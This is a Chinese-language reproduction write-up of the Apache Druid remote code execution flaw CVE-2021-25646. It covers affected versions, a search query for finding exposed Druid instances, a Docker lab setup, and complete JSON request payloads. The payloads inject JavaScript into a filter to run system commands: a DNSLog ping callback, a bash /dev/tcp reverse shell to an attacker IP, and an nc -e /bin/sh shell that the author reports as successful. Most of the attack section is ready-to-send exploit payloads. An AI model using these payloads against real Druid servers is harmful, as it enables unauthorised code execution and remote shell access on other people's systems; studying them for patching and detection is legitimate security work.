Apache Druid远程代码执行漏洞（CVE-2021-25646）

安装部署更简单！！！

1.漏洞描述

Apache Druid 是一个集时间序列数据库、数据仓库和全文检索系统特点于一体的分析性数据平台。Apache Druid 包括执行用户提供的 JavaScript 的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中，默认已被禁用。但是，在Druid 0.20.0及更低版本中，经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求，利用Apache Druid漏洞可以执行任意代码。

2.影响版本

Apache Druid < 0.20.1

3.网络资产扫描

title="Apache Druid"

4.漏洞环境搭建

使用docker搭建

下载：https://github.com/apache/druid/archive/druid-0.20.0.zip

解压后，进入druid-druid-0.20.0/distribution/docker目录，进行安装

cd druid-druid-0.20.0/distribution/docker

docker-compose up -d

搭建完成后，访问8888端口

http://192.168.42.145:8888/unified-console.html

5.漏洞复现

后点击Load data —> Local disk —> Connect data

右侧 base directory 填入：quickstart/tutorial/

file filter填入：wikiticker-2015-09-12-sampled.json.gz

点击apply，可以用burp抓包（后面的模块都可以抓包）

数据包内容如下：

将POST内容修改为下面内容，利用DNSLog查看回显，执行远程代码

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping ab2mu8.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

利用该漏洞获取shell

Kali开启监听

nc -lvp 1919

将命令修改为反弹shell的命令，但是反弹shell失败，返回500错误

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.42.147/1919 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

将命令修改为正向shell的命令，正向shell成功

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.42.147 1919 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}